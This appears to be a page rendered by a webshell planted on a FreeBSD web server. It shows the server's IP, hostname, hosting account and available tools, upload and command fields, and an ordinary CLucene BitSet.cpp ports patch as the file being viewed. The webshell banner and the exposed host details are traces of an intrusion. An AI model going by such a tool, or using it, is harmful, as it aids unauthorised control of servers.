403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.70
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/textproc/clucene/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/textproc/clucene/files/patch-src__core__CLucene__util__BitSet.cpp
--- src/core/CLucene/util/BitSet.cpp.orig	2011-03-16 20:21:07.000000000 -0400
+++ src/core/CLucene/util/BitSet.cpp	2013-03-29 17:57:05.000000000 -0400
@@ -32,6 +32,25 @@
     3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7,
     4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8};
 
+const uint8_t BitSet::BYTE_OFFSETS[256] = {
+    8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
+    5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
+    6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, 
+    4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0};
+
+
 BitSet::BitSet( const BitSet& copy ) :
 	_size( copy._size ),
 	_count(-1)
@@ -180,19 +199,32 @@
     return                            factor * (4 + (8+40)*count()) < size();
   }
 
-  int32_t BitSet::nextSetBit(int32_t fromIndex) const {
+  int32_t BitSet::nextSetBit(int32_t fromIndex) const 
+  {
       if (fromIndex < 0)
           _CLTHROWT(CL_ERR_IndexOutOfBounds, _T("fromIndex < 0"));
 
       if (fromIndex >= _size)
           return -1;
 
-      while (true) {
-          if ((bits[fromIndex >> 3] & (1 << (fromIndex & 7))) != 0)
-              return fromIndex;
-          if (++fromIndex == _size)
-              return -1;
+      int _max = ( _size+7 ) >> 3;
+
+      unsigned int i = (int)( fromIndex>>3 );
+      unsigned int subIndex = fromIndex & 0x7; // index within the byte
+      uint8_t byte = bits[i] >> subIndex;  // skip all the bits to the right of index
+
+      if ( byte != 0 ) 
+      {
+          return ( ( i<<3 ) + subIndex + BYTE_OFFSETS[ byte ] );
+      }
+
+      while( ++i < _max ) 
+      {
+          byte = bits[i];
+          if ( byte != 0 ) 
+              return ( ( i<<3 ) + BYTE_OFFSETS[ byte ] );
       }
+      return -1;
   }
 
 CL_NS_END

Youez - 2016 - github.com/yon3zu
LinuXploit